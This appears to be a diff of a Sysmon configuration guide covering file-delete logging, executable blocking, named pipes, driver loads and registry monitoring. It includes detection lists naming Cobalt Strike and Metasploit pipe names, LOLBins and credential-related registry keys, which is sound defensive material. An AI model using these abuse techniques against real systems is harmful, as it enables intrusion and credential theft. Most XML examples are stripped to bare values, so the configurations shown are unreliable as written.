c0640d0d9260689b1c6c63a60799e0c8e272067dcf86847c882980913694543a +* 2a5e73343a38e7b70a04f1b46e9a2dde7ca85f38a4fb2e51e92f252dad7034d4 +* 98660006f0e923030c5c5c8187ad2fe1500f59d32fa4d3286da50709271d0d7f +* 7e1d7cfe0bdf5f17def755ae668c780dedb027164788b4bb246613e716688840 + +**Mitigation**: Update to Sysmon 13.0 or later immediately. Monitor for these driver hashes using EventID 6 (Driver Load) events and alert on any attempts to load vulnerable versions. + + +Sysmon also provides **EventID 26 (File Delete Detected)** which logs file deletions **without archiving** the deleted files. Use EventID 26 instead of EventID 23 when: +* Deletion volume is very high and archiving would consume too much disk space +* File types are large (ISO images, archives) making archiving impractical +* You want to log deletions for detection but don't need file recovery capability + +See the File Delete Detected chapter for EventID 26 configuration guidance. + +### File Delete Detected + + +Sysmon will log **EventID 26** for file deletions **without archiving** the deleted files. This event type was added in Sysmon version 13.10 and provides the same detection visibility as EventID 23 (File Delete) but without the storage overhead of file archiving. This is ideal for high-volume deletion monitoring where file recovery isn't necessary or where deleted file sizes make archiving impractical. + + +EventID 26 provides the same detection value as EventID 23 (File Delete with Archiving): +* Ransomware detection through mass file deletion patterns +* Wiper malware and data destruction attacks +* Anti-forensics activity (attackers deleting tools and artifacts) +* Backup and shadow copy deletion monitoring + +The key difference is operational rather than detection-focused: **no files are archived**, which means: +* Significantly reduced disk space consumption +* Suitable for very high-volume deletion monitoring +* No file recovery capability +* Useful for detection-only scenarios where you don't need to analyze deleted files + + +Use **EventID 26 (File Delete Detected, no archiving)** when: +* **High deletion volume**: Environments where archiving would generate gigabytes of data daily +* **Large file types**: Monitoring deletions of ISO images, archive files, or other large files that would fill the archive directory quickly +* **Detection-only goals**: You want to detect deletion patterns (ransomware, cleanup activity) but don't need to recover or analyze the deleted files +* **Storage constraints**: Limited disk space makes archiving impractical +* **Known false positives**: You've identified high-value deletion patterns that generate many false positives, but you still want detection visibility + +Use **EventID 23 (File Delete with Archiving)** when: +* **Malware recovery**: You need to capture and analyze attacker tools and scripts that are deleted after execution +* **Forensic evidence**: File recovery capability is critical for incident response +* **Low volume**: Deletion volume is manageable and won't overwhelm storage +* **High-value targets**: Monitoring specific file types (executables, scripts) where file recovery is valuable + +**Best Practice**: Use both event types together: +* EventID 23 for high-value, low-volume deletions (executables and scripts in suspicious locations) +* EventID 26 for broader coverage where archiving isn't needed (user documents for ransomware detection, large files) + + +EventID 26 uses the same minifilter driver mechanism as EventID 23. The minifilter monitors for file system I/O request packets (IRP): +* **IRP_MJ_CREATE** - File creation +* **IRP_MJ_CLEANUP** - Handle closure +* **IRP_MJ_WRITE** - File writes + +When a file is marked for deletion, Sysmon logs the event but **skips the archival step**, making it much more performant for high-volume scenarios. + +![minifilter](./media/image36.png) + +**Important Limitation**: Like EventID 23, if any security software with a lower altitude number (higher priority in the driver stack) blocks or modifies the file deletion before Sysmon observes it, the event may not be logged. + + +The file delete detected event fields are: + +* **RuleName**: Name of rule that triggered the event +* **UtcTime**: Time in UTC when event was created +* **ProcessGuid**: Process GUID of the process that deleted the file +* **ProcessId**: Process ID used by the OS to identify the process that deleted the file +* **Image**: File path of the process that deleted the file +* **TargetFilename**: Name of the file that was deleted +* **Hashes**: Full hash of the file with the algorithms in the HashType field (same as EventID 23, but file is not saved to archive) + +Note that the **Archived** field is not present in EventID 26, as no archiving occurs. + + +Investigation priorities are identical to EventID 23 (File Delete): + +**1. High Volume of Deletions (Ransomware)** +* Many files deleted rapidly from user directories +* Deletions spanning multiple folders and file types +* Document file deletions (`.doc`, `.xls`, `.pdf`, etc.) + +**2. Suspicious File Types Deleted** +* Executables, scripts, Office macros in any location +* Tools and utilities from temp directories + +**3. Deletions from Suspicious Locations** +* Downloads, temp directories, user AppData folders +* Email attachment temporary storage + +**4. Backup and Recovery Inhibition** +* Shadow copy deletions, backup file deletions +* Usually correlates with `vssadmin.exe` or `wmic.exe` process activity + +**5. Deletions by Suspicious Processes** +* PowerShell, CMD, scripting engines +* Recently created or unsigned processes +* Office applications deleting executables + +**6. Timing and Correlation** +* Deletions immediately after file creation +* Deletions during off-hours +* Correlation with other suspicious events + + +**Example 1: Ransomware Detection with EventID 26 (No Archiving)** + +Monitor user document deletions without archiving to avoid storage overhead: + +```xml + + + + + + + \Users\;\Documents\;\Desktop\;\Pictures\;\Downloads\ + + .doc;.docx;.xls;.xlsx;.ppt;.pptx;.pdf;.txt;.jpg;.png;.gif;.mp4;.avi + + + + + +``` + +**Example 2: Combined Approach - Use Both EventID 23 and 26** + +Use EventID 23 for executables/scripts (archive for forensics) and EventID 26 for documents (detection only): + +```xml + + SysmonArchive + + + + + .exe;.dll;.ps1;.bat;.cmd;.vbs;.js;.hta + + + + + + \Users\ + .doc;.docx;.xls;.xlsx;.pdf;.zip;.rar + + + + + +``` + +**Example 3: Large File Deletion Monitoring (ISO, IMG, Archive Files)** + +Monitor deletion of large files that would be impractical to archive: + +```xml + + + + + + .iso;.img;.vhd;.vhdx;.vmdk;.ova + + + .zip;.rar;.7z;.tar;.gz + + + + +``` + +**Example 4: Exclusion-Based Approach for Broad Coverage** + +Log most deletions but exclude known noisy patterns: + +```xml + + + + + + \AppData\Local\Microsoft\Windows\Temporary Internet Files\ + \AppData\Local\Google\Chrome\User Data\Default\Cache\ + \AppData\Local\Mozilla\Firefox\Profiles\ + + + .tmp;.temp;.log;.etl;.bak~;.old + + + C:\Windows\System32\usocoreworker.exe + C:\Windows\System32\dism.exe + + + + +``` + + +EventID 26 is specifically designed for scenarios where EventID 23's archiving would create operational challenges: + +**Storage Savings:** +* No archive directory needed for EventID 26 monitoring +* Typical ransomware attack deleting 10,000 files: EventID 23 might archive 500MB-5GB, EventID 26 generates only log events (~2MB of event data) +* Large file deletions (ISOs, backups): Can save hundreds of gigabytes + +**Performance:** +* EventID 26 has minimal performance overhead (just logging) +* EventID 23 requires file copy operations which can impact system performance during mass deletions +* On systems with high deletion rates, EventID 26 may be the only practical option + +**Best Practice Strategy:** +1. Start with targeted EventID 23 rules for high-value, low-volume file types (executables, scripts) +2. Add broader EventID 26 rules for detection patterns (user documents, large files) +3. Monitor archive directory size if using EventID 23 +4. Shift rules from EventID 23 to EventID 26 if archiving becomes impractical + + +EventID 26 helps detect the same techniques as EventID 23: +* **T1485 - Data Destruction** - Wiper malware and destructive attacks +* **T1486 - Data Encrypted for Impact** - Ransomware encryption +* **T1488 - Disk Structure Wipe** - Destructive wiping attacks +* **T1070.004 - Indicator Removal on Host: File Deletion** - Anti-forensics +* **T1490 - Inhibit System Recovery** - Deleting backups and shadow copies + +The difference is operational (archiving vs no archiving) rather than detection capability. + +### File Block EXE + + +On version 14.0 of Sysmon the capability to block the creation of executables by a process was added, this is the first event type where Sysmon takes a block action on a rule match. Sysmon relies on its filter driver, Sysmon can log the creation of files and information on what process is the the file using **EventID 27**. This event type is found under schema version + + +![minifilter](./media/image36.png) + +The minidriver inspect the header of the file for the MZ DOS Executable header. The file can be identified by the ASCII string "MZ" (hexadecimal: 4D 5A) at the beginning of the file (the "magic number"). "MZ" are the initials of Mark Zbikowski, one of the leading developers of MS-DOS. This header is included in DLLs, PE Files, COM executables and other executable types. + +Sysmon will not generate any alert on screen for the user once it takes the action. + + + +The file delete event fields are: + +* **RuleName**: Name of rule that triggered the event + +* **UtcTime**: Time in UTC when event was created + +* **ProcessGuid**: Process Guid of the process that attempted to create the file + +* **ProcessId**: Process ID used by the OS to identify the process that attempted to create the file. + +* **Image**: File path of the process that attempted to create the file + +* **TargetFilename**: Name of the file that is being created. + +**Hashes**: Full hash of the file with the algorithms in the HashType field. This is also the filename of the saved file in the ArchiveDirectory + + +Given the potential for this specific rule set to cause friction between a security team with users and other groups in the organization it is recommended to test before deploying. One recommendation is to use a file creation rule set to build a baseline of what executables are create where as part of normal day to day operations and then take that data to build a rule set that will minimize impact. + +A sample baseline ruleset can be: + +```XML + + sha1 + + + + + .dll;.exe + + + + +``` + +Bellow is an example rule set that covers some of the most common scenarios where actors will drop executables using malicious documents, in emails, + +```XML + + sha1 + + + + + + excel.exe + winword.exe + powerpnt.exe + outlook.exe + msaccess.exe + mspub.exe + + + powershell.exe + mshta.exe + cscript.exe + wscript.exe + + + certutil.exe + esenutl.exe + desktopimgdownldr.exe + regsvr32.exe + Odbcconf.exe + + + + +``` + +### File Block Shredding + + +On version 14.1 of Sysmon the capability to log and block when a process is deleting a file by overwriting its file blocks. Events will be loggedusing **EventID 27**. This event type is found under schema version 4.83. + + +![minifilter](./media/image36.png) + +The minidriver inspect the action that is being taken to see if it is a file block overwrite and if the header of the file for the MZ DOS Executable header. Some common processes on system that perform actions that may generate some false positives if all instances of the action is blocked. If this approach is follower a exclusion list should be used. An example of these are: + +```xml + + + C:\WINDOWS\System32\svchost.exe + NT AUTHORITY\LOCAL SERVICE + + + C:\WINDOWS\System32\svchost.exe + NT AUTHORITY\SYSTEM + + + C:\WINDOWS\system32\SearchIndexer.exe + NT AUTHORITY\SYSTEM + + + C:\WINDOWS\system32\lsass.exe + NT AUTHORITY\SYSTEM + + + \MsMpEng.exe + NT AUTHORITY\SYSTEM + + + C:\WINDOWS\system32\DllHost.exe + \Dropbox\Client\Dropbox.exe + C:\WINDOWS\system32\backgroundTaskHost.exe + \AppData\Local\Programs\Microsoft VS Code\Code.exe + C:\Program Files\BraveSoftware\Brave-Browser\Application\brave.exe + \Microsoft\Edge\Application\msedge.exe + \1Password.exe + C:\Windows\ImmersiveControlPanel\SystemSettings.exe + C:\WINDOWS\system32\taskhostw.exe + + +``` +It is recommended to better block those files that an attacket would like to delete so as to hide their tracks that where part of a compromise at several stages. Now great care should be taken for those applications that update themself and some software management solutions that may trigger false positives for some of the files covered. Since this is a blocking action it is important to test before a configuration is pushed to host, after a deployment it is also important to minitor to prevent disruption in some environments. + +```XML + + + .sys + .rft + .jsp + .jspx + .asp + .aspx + .php + .war + .ace + .iqy + .slk + .docm + .pptm + .xlsm + .xlm + .dotm + .xltm + .potm + .ppsm + .sldm + .xlam + .xla + .xll + .settingcontent-ms + .application + .appref-ms + .kirbi + .iso + .img + .hta + .exe + .dll + .ps1 + .ps2 + .psm1 + .bat + .cmd + + +``` + +Sysmon will not generate any alert on screen for the user once it takes the action. + + + +The file delete event fields are: + +* **RuleName**: Name of rule that triggered the event + +* **UtcTime**: Time in UTC when event was created + +* **ProcessGuid**: Process Guid of the process that overwrote the fileblocks for the file + +* **ProcessId**: Process ID used by the OS to identify the process that overwrote the fileblocks for the file. + +* **Image**: File path of the process that overwrote the fileblocks for the file + +* **TargetFilename**: Name of the file that is being deleted. + +* **Hashes**: Full hash of the file with the algorithms in the HashType field. + +* **IsExecutable**: If the file has a MZ header saying the file is an executable. + +## Named Pipes + + +Sysmon will log **EventID 17** (PipeCreated) when a named pipe server is created and **EventID 18** (PipeConnected) when a client connects to a named pipe. Named pipe monitoring is a **moderate-volume event type** that requires careful filtering strategy based on your environment. Named pipes are critical for detecting lateral movement, command and control communication, and inter-process communication used by malware. + + +A named pipe is a named, one-way or duplex pipe for communication between a pipe server and one or more pipe clients. Each named pipe has a unique name that distinguishes it from other named pipes in the system's list of named objects. Pipe names follow the format `\\ServerName\pipe\PipeName` (or `\\.\pipe\PipeName` for local connections). + +Attackers extensively use named pipes for: + +**Lateral Movement and C2 Communication**: Named pipes enable SMB-based communication between systems. Remote Access Trojans (RATs) and implants like Cobalt Strike, Metasploit, and Empire use named pipes to: +* Create communication channels between compromised systems +* Tunnel commands and data over SMB (port 445) +* Pivot through networks via established trust relationships +* Bypass network firewalls by using allowed SMB traffic + +**Inter-Process Communication (IPC)**: Malware uses named pipes to communicate between different processes on the same system: +* Communication with injected code in other processes +* Coordination between malware components +* Data exchange between stagers and payloads + +**Well-Known Attack Tool Pipes**: Many offensive security tools use identifiable pipe names that can be detected: +* **Cobalt Strike**: `\MSSE--server`, `\msagent_`, `\postex_`, `\postex_ssh_` +* **Metasploit**: `\msf-pipe-`, `\msfpipe` +* **PsExec**: `\PSEXESVC` +* **Empire**: Uses customizable pipe names, often defaults like `\Legit-Pipe-Name` + +However, experienced attackers often avoid using well-known pipe names to prevent detection and to avoid breaking normal system operations. + +**MITRE ATT&CK Mapping**: +* **T1021.002 - Remote Services: SMB/Windows Admin Shares** - Named pipes over SMB +* **T1090 - Proxy** - Named pipe pivoting +* **T1573 - Encrypted Channel** - Named pipes for encrypted C2 +* **T1071 - Application Layer Protocol** - Named pipes as C2 channel + + +Named pipe volume varies significantly by environment: +* Workstations typically generate moderate volume (50-200 events per day) +* Systems with SQL Server, Exchange, or enterprise software generate many legitimate pipes +* Servers with database or messaging software can generate thousands of events per day +* Volume depends heavily on installed applications and their use of inter-process communication + +**Two Configuration Approaches:** + +**Approach 1 - Exclusion-Based (Recommended for most environments)**: Log all named pipes but exclude known-good system and application pipes. This provides comprehensive visibility while keeping volume manageable. This approach requires ongoing baseline maintenance but offers the most detection value during incident response, as you'll capture novel or custom pipe names used by attackers. + +**Approach 2 - Targeted Includes (For high-volume environments)**: Only log known malicious pipe names or pipes from suspicious processes. This minimizes volume but may miss novel attacks. This approach is better served with automated SIEM-based detection logic rather than Sysmon filtering alone. + +**The baseline and iterative refinement process should be continuous**, as new applications and updates may introduce new legitimate pipes. + + +When reviewing named pipe events, prioritize investigation of: + +**1. Known Malicious Pipe Names** +* Cobalt Strike indicators: `MSSE-`, `msagent_`, `postex_`, `status_` +* Metasploit indicators: `msf`, `meterpreter` +* PsExec: `\PSEXESVC` (unless you use PsExec legitimately) +* Any pipes matching known offensive tool patterns + +**2. Suspicious Pipe Name Patterns** +* Random-looking names (long strings of random characters) +* Misspellings of legitimate pipe names +* Generic names trying to blend in (`\pipe\generic`, `\pipe\default`) +* Pipes with unusual prefixes or suffixes + +**3. Pipes Created by Suspicious Processes** +* PowerShell, cmd.exe, or scripting engines creating named pipes +* Processes running from temp directories or user folders +* Unsigned or recently created executables +* Processes with suspicious parent-child relationships + +**4. Unusual Pipe Connections (EventID 18)** +* Connections to pipes from unexpected processes +* Cross-process pipe connections that don't match normal application behavior +* Connections shortly after suspicious process creation + +**5. Remote Pipe Connections** +* Pipes with ServerName that isn't `.` (local) +* SMB-based pipe connections between systems (check network logs for corresponding SMB traffic) +* Pipe activity correlating with lateral movement indicators + +**6. Timing and Correlation** +* Pipe creation shortly after initial compromise indicators +* Multiple pipe events in sequence suggesting C2 setup +* Pipe activity during off-hours +* Correlation with Process Access or Network Connection events + +![process](./media/image45.png) + + +The fields for the Pipe Create Event (EventID 17) are: + +* **RuleName**: Name of rule that triggered the event +* **EventType**: `CreatePipe` +* **UtcTime**: Time in UTC when event was created +* **ProcessGuid**: Process GUID of the process that created the pipe +* **ProcessId**: Process ID used by the OS to identify the process that created the pipe +* **PipeName**: Name of the pipe created +* **Image**: File path of the process that created the pipe + +The fields for the Pipe Connect Event (EventID 18) are: + +* **RuleName**: Name of rule that triggered the event +* **EventType**: `ConnectPipe` +* **UtcTime**: Time in UTC when event was created +* **ProcessGuid**: Process GUID of the process that connected to the pipe +* **ProcessId**: Process ID used by the OS to identify the process that connected to the pipe +* **PipeName**: Name of the pipe connected +* **Image**: File path of the process that connected to the pipe + + +**Initial Baseline Configuration**: Log all named pipes to understand your environment + +```xml + + + + + + + + + +``` + +After collecting baseline data for 1-2 weeks, analyze the unique PipeName values and create exclusions for verified legitimate pipes. + +**Exclusion-Based Configuration**: After baselining, exclude known-good pipes + +```xml + + + + + + \ntapvsrq + \srvsvc + \wkssvc + \lsass + \winreg + \spoolss + \samr + \eventlog + Anonymous Pipe + + + c:\windows\system32\inetsrv\w3wp.exe + + + \SQLLocal\MSSQLSERVER + \SQLLocal\INSTANCE01 + \SQLLocal\SQLEXPRESS + \SQLLocal\COMMVAULT + \SQLLocal\RTCLOCAL + \SQLLocal\RTC + \SQLLocal\TMSM + + + + + + +``` + +**Targeted Include Configuration**: For high-volume environments, only log suspicious patterns + +```xml + + + + + + MSSE- + msagent_ + postex_ + status_ + + + msf + meterpreter + + + \PSEXESVC + + + \powershell.exe + \cmd.exe + \cscript.exe + \wscript.exe + \Temp\ + \AppData\Local\Temp\ + + + + +``` + + +Sysmon uses a minifilter driver to monitor named pipe creation, similar to how it monitors file events. **If any antivirus or EDR solution with a lower altitude number** (which means higher priority in the driver stack) **triggers on a named pipe and blocks it, Sysmon will not log the event**. + +This means some malicious pipe creation attempts may be blocked by security software before Sysmon can observe them. This is generally acceptable, as the pipe was blocked, but it's important to understand this limitation when investigating incidents. Your EDR or antivirus logs may contain pipe blocking events that don't appear in Sysmon. + +## Driver Loading + + +Sysmon will log **EventID 6** for the loading of kernel drivers. Driver loading is a **low-volume, high-value event type** that should typically log all occurrences with minimal filtering. Drivers operate at the kernel level with the highest privileges on a system, making malicious driver loading one of the most dangerous attack techniques. + + +Kernel drivers have unrestricted access to the operating system and can: +* Bypass all user-mode security controls +* Hide processes, files, and registry keys (rootkits) +* Intercept and modify system calls +* Disable security software +* Access protected memory (credential theft) +* Persist across reboots with highest privileges + +Attackers use malicious drivers for: + +**Rootkit Installation**: Drivers that hide malware presence by intercepting system APIs and filtering out malicious processes, files, and network connections from being detected. + +**Security Tool Bypass**: Drivers like those used by Mimikatz (mimidrv.sys) to query and modify kernel memory to bypass process protections, read credentials from protected processes like LSASS, or disable security callbacks. + +**Bring Your Own Vulnerable Driver (BYOVD)**: Attackers exploit known-vulnerable but legitimately signed drivers to gain kernel-level code execution. These vulnerable drivers are catalogued at **https://www.loldrivers.io/**, which maintains a comprehensive list of drivers known to be exploitable. The LOLDrivers project provides a ready-to-use Sysmon configuration for detecting these vulnerable drivers: **https://github.com/magicsword-io/LOLDrivers/tree/main/detections/sysmon** + +**Privilege Escalation**: Exploiting vulnerable signed drivers to escalate from user-mode to kernel-mode execution. + +**Persistence**: Drivers load early in the boot process, before most security tools, providing attackers with early system control. + +**MITRE ATT&CK Mapping**: Driver loading events help detect: +* **T1014 - Rootkit**: Kernel-mode rootkits hiding attacker presence +* **T1068 - Exploitation for Privilege Escalation**: Exploiting vulnerable drivers (BYOVD) +* **T1543.003 - Create or Modify System Process: Windows Service**: Driver-based services +* **T1562 - Impair Defenses**: Drivers that disable security tools +* **T1611 - Escape to Host**: Breaking out of virtualization using drivers + + +Unlike process creation or file creation, driver loading happens infrequently: +* Drivers load primarily at boot time +* New driver installation is rare (hardware additions, software updates) +* Typical system generates only 10-50 driver load events per day +* Most are well-known, signed Windows or hardware vendor drivers + +This low volume makes driver loading ideal for a **log-all approach**. The small event count allows you to review all driver loads and progressively exclude known-good drivers without overwhelming your SIEM. + + +The recommended approach for driver loading: + +1. **Start by logging everything** - No initial exclusions +2. **Baseline for 1-2 weeks** - Collect all driver loads in your environment +3. **Identify legitimate drivers** - Review unique driver signatures and validate they are expected +4. **Integrate LOLDrivers detection** - Add the LOLDrivers Sysmon configuration to detect known-vulnerable drivers +5. **Progressively exclude** - Add exclusions for verified, signed drivers from trusted vendors +6. **Continuous monitoring** - Review any new drivers that appear + +**Critical**: Always filter on **both Signature AND SignatureStatus**. Many attacks use stolen code-signing certificates that are later revoked. Checking that SignatureStatus is "Valid" helps detect: +* Drivers signed with stolen certificates before revocation +* Drivers signed with certificates that have since been revoked +* Legitimate vendors forced to revoke certificates due to abuse + + +Enable certificate revocation checking in your Sysmon configuration using ``. This tells Sysmon to verify that signing certificates have not been revoked. While this adds a small performance overhead (network lookup to check revocation status), it provides critical security value for detecting abuse of stolen certificates. + + +The LOLDrivers project (https://www.loldrivers.io/) is an invaluable resource for detecting BYOVD attacks. The project maintains: +* A curated list of vulnerable drivers known to be exploited by attackers +* Driver hashes, signatures, and metadata +* A ready-to-use Sysmon configuration that detects loading of these vulnerable drivers + +**To integrate LOLDrivers detection:** +1. Download the Sysmon configuration from: https://github.com/magicsword-io/LOLDrivers/tree/main/detections/sysmon +2. Merge it with your existing driver loading configuration +3. The configuration uses driver hashes to detect known-vulnerable drivers regardless of how they are signed +4. Regularly update the configuration as new vulnerable drivers are discovered + +This is particularly valuable because vulnerable but signed drivers are difficult to detect through signature validation alone - they are legitimately signed by vendors but contain exploitable vulnerabilities. + + +![process](./media/image48.png) + +Initial rule for collecting DriverLoad events + +```xml - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + ``` @@ -1637,49 +4069,158 @@ The event fields are: * **SignatureStatus**: Status of the signature -Example filtering out drivers signed by Microsoft, Intel and VMware for -a VDI environment + +When reviewing driver loading events, prioritize: + +**1. Unsigned Drivers** +* Any driver that is not signed should be investigated immediately +* Legitimate drivers from major vendors are always signed +* Unsigned drivers are strong indicators of malicious activity + +**2. Drivers with Invalid Signatures** +* SignatureStatus not equal to "Valid" +* May indicate stolen/revoked certificates or tampered drivers +* Cross-reference with LOLDrivers database + +**3. Drivers from Unusual Vendors** +* Drivers signed by unknown or suspicious vendors +* Particularly suspicious if loaded on servers or systems that don't match the hardware +* Example: Gaming peripheral drivers on a server + +**4. Known-Vulnerable Drivers** +* Drivers matching hashes in the LOLDrivers database +* Even if properly signed, these are exploitable +* Common in BYOVD attacks + +**5. Drivers Loaded from Unusual Locations** +* Drivers outside of `C:\Windows\System32\drivers\` +* Drivers from temp directories or user folders +* Drivers on removable media + +**6. Mimikatz and Tool-Specific Drivers** +* mimidrv.sys (Mimikatz driver) +* Other known attack tool drivers +* Monitor for these by name and hash + +**7. Recent Driver Installations** +* Any new driver that appears after your baseline period +* Investigate the timing - did it coincide with other suspicious activity? +* Validate business justification for new driver + + +After baselining, exclude verified signed drivers from trusted vendors (example for a VDI environment): ```xml - - - - - - - Microsoft - Valid - - - - Intel - Valid - - - - VMware - Valid - - - - + + + + + + + Microsoft + Valid + + + + Intel + Valid + + + + VMware + Valid + + + + ``` ## Registry Actions -Sysmon has the capability to monitor for three major actions against the Registry -* **EventID 12** - Registry object added or deleted +Sysmon has the capability to monitor for three major actions against the Windows Registry: + +* **EventID 12** - Registry object (key) added or deleted * **EventID 13** - Registry value set -* **EventID 14** - Registry object renamed -The Windows Registry has been a source of information gathering, persistence, storage, and configuration control for attackers since its wider use introduction in Windows NT 4.0/Windows 95. +* **EventID 14** - Registry object (key) renamed + +The Windows Registry has been a central target for attackers since its introduction in Windows NT 4.0 and Windows 95. The registry provides attackers with capabilities for persistence, privilege escalation, defense evasion, discovery, and configuration manipulation. Understanding registry monitoring is critical for detection engineering, but it must be approached carefully due to extreme volume challenges. + + +Registry monitoring provides visibility into some of the most common and persistent attack techniques: + +**Persistence Mechanisms**: Attackers use registry keys to ensure their malware survives reboots. Common persistence locations include: +* Run and RunOnce keys for automatic program execution at startup +* Services keys for creating malicious Windows services +* Winlogon keys for hijacking the logon process +* Scheduled task configurations stored in registry +* AppInit_DLLs and AppCertDlls for DLL injection on process start + +**Privilege Escalation**: Registry modifications can elevate privileges or bypass security controls: +* UAC bypass techniques often modify specific registry values +* Service configuration changes to run malware with SYSTEM privileges +* Accessibility feature hijacking (Sticky Keys, etc.) + +**Defense Evasion**: Attackers modify registry to disable security controls: +* Windows Defender settings and exclusions +* Windows Firewall configuration +* Safe boot settings +* Audit policy modifications to reduce logging + +**Discovery**: Attackers query registry for reconnaissance: +* Installed software enumeration +* Network configuration discovery +* Security product identification +* System configuration gathering + +**Credential Access**: Some registry locations contain or control credential storage: +* LSA secrets configuration +* Credential manager settings +* WDigest authentication settings (enabling plaintext credential storage) + +**MITRE ATT&CK Mapping**: Registry monitoring helps detect numerous techniques: +* **T1547 - Boot or Logon Autostart Execution** - Run keys, services, Winlogon modifications +* **T1112 - Modify Registry** - General registry tampering +* **T1548 - Abuse Elevation Control Mechanism** - UAC bypass techniques +* **T1562 - Impair Defenses** - Disabling security tools via registry +* **T1012 - Query Registry** - Reconnaissance through registry queries +* **T1543.003 - Create or Modify System Process: Windows Service** - Service manipulation +* **T1546 - Event Triggered Execution** - Various registry-based execution triggers +* **T1574 - Hijack Execution Flow** - DLL hijacking, path interception via registry + + +Registry events are among the highest-volume event types Sysmon generates. The Windows Registry is accessed thousands of times per minute during normal system operation: +* Windows components constantly read and write registry values +* Every application startup involves numerous registry accesses +* Background services continuously update configuration in registry +* User profile changes modify HKCU extensively +* Group Policy processing writes to many registry locations + +**You CANNOT log all registry activity.** Attempting to do so will: +* Generate tens of thousands to millions of events per day per system +* Severely impact system performance (CPU and I/O) +* Overwhelm your SIEM infrastructure +* Create so much noise that real detections are impossible to find +* Potentially cause Sysmon to consume excessive system resources + + +Registry monitoring requires the **most aggressive targeted include approach** of any Sysmon event type. You must be extremely selective about which registry keys you monitor. Focus exclusively on high-value keys known to be abused by attackers. + +**Best Practices:** +* Only monitor specific registry paths that indicate malicious activity +* Avoid broad patterns that match many keys +* Prefer "end with" or exact matches over "contains" when possible +* Never attempt to monitor entire registry hives or subtrees +* Test any new registry filters in a lab first to assess volume +* Start with a minimal configuration and expand carefully Sysmon uses abbreviated versions of Registry root key names, with the following mappings: + |**Key name** |**Abbreviation** | |---------------------------------------------|--------------------------------- | HKEY\_LOCAL\_MACHINE |HKLM| @@ -1703,6 +4244,7 @@ Registry Add/Delete Fields: * **TargetObject**: Complete path of the registry key + Registry Set Value Fields: * **RuleName**: Name of rule that triggered the event @@ -1721,6 +4263,7 @@ Registry Set Value Fields: * **Details**: Details added to the registry key + Registry Rename Fields: * **RuleName**: Name of rule that triggered the event @@ -1739,6 +4282,7 @@ Registry Rename Fields: * **NewName**: New name of the registry key + This event type is better used in a targeted manner given the size of the registry and how it is used by a multitude of processes on a daily basis in Windows. In registry events, the value name is appended to the full key path with a \"\\\" delimiter. @@ -1755,42 +4299,283 @@ Since the value name is appended when specifying a registry path in **TargetObje Sysmon does not log the actual value being set nor a previous or new one being modified. + ![HCU Value Event](./media/image53.png) -Example of monitoring some AutoRun locations + +Focus your registry monitoring on these high-value locations known to be frequently abused: + +**Persistence - Autorun Locations:** +* `\CurrentVersion\Run` and `\CurrentVersion\RunOnce` - Most common persistence mechanism +* `\CurrentVersion\Explorer\User Shell Folders\Startup` - Startup folder path hijacking +* `\Windows NT\CurrentVersion\Winlogon\` (Userinit, Shell, Notify) - Logon process hijacking +* `\CurrentControlSet\Control\Session Manager\BootExecute` - Pre-boot execution + +**Service Manipulation:** +* `\CurrentControlSet\Services\*\ImagePath` - Service executable path +* `\CurrentControlSet\Services\*\ServiceDll` - Service DLL specification +* `\CurrentControlSet\Services\*\Start` - Service start mode changes + +**DLL Loading and Hijacking:** +* `\Windows NT\CurrentVersion\Windows\AppInit_DLLs` - DLLs loaded into every process +* `\System\CurrentControlSet\Control\Session Manager\AppCertDlls` - DLL injection mechanism +* `\Explorer\FileExts` and file association shell commands - Execution through file associations + +**Defense Evasion - Security Tool Tampering:** +* `\SOFTWARE\Microsoft\Windows Defender\` - Windows Defender settings +* `\SOFTWARE\Policies\Microsoft\Windows Defender\` - Defender policy modifications +* `\SYSTEM\CurrentControlSet\Services\WinDefend\Start` - Defender service disable +* `\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA` - UAC disable + +**Credential Access:** +* `\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential` - Enable WDigest plaintext passwords +* `\SYSTEM\CurrentControlSet\Control\Lsa\` - LSA configuration + +**Accessibility Feature Hijacking (Sticky Keys, etc.):** +* `\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe` - Sticky Keys debugger +* `\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe` - Utility Manager debugger +* Similar paths for osk.exe, narrator.exe, magnify.exe, displayswitch.exe + + +**Example 1: Comprehensive Persistence Monitoring** ```xml - - - \CurrentVersion\Run - \Group Policy\Scripts - \Windows\System\Scripts - \Policies\Explorer\Run - \ServiceDll - \ImagePath - \Start - HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify - HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit - HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell - HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32 - HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute - \Explorer\FileExts - \shell\install\command - \shell\open\command - \shell\open\ddeexec - Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Startup - + + \CurrentVersion\Run + \Group Policy\Scripts + \Windows\System\Scripts + \Policies\Explorer\Run + \ServiceDll + \ImagePath + \Start + HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify + HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit + HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell + HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32 + HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute + \Explorer\FileExts + \shell\install\command + \shell\open\command + \shell\open\ddeexec + Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Startup + ``` +**Example 2: Defense Evasion Detection** + +Monitor for attempts to disable security controls: + +```xml + + + \Microsoft\Windows Defender\DisableAntiSpyware + \Microsoft\Windows Defender\Exclusions\ + \Microsoft\Windows Defender\Real-Time Protection\ + + + \Policies\System\EnableLUA + \Policies\System\ConsentPromptBehaviorAdmin + + + \CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\ + +``` + +**Example 3: Credential Access Monitoring** + +```xml + + + \WDigest\UseLogonCredential + + + \Control\Lsa\DisableRestrictedAdmin + \Control\Lsa\LmCompatibilityLevel + +``` + +**Example 4: Accessibility Feature Hijacking (Sticky Keys)** + +```xml + + + \Image 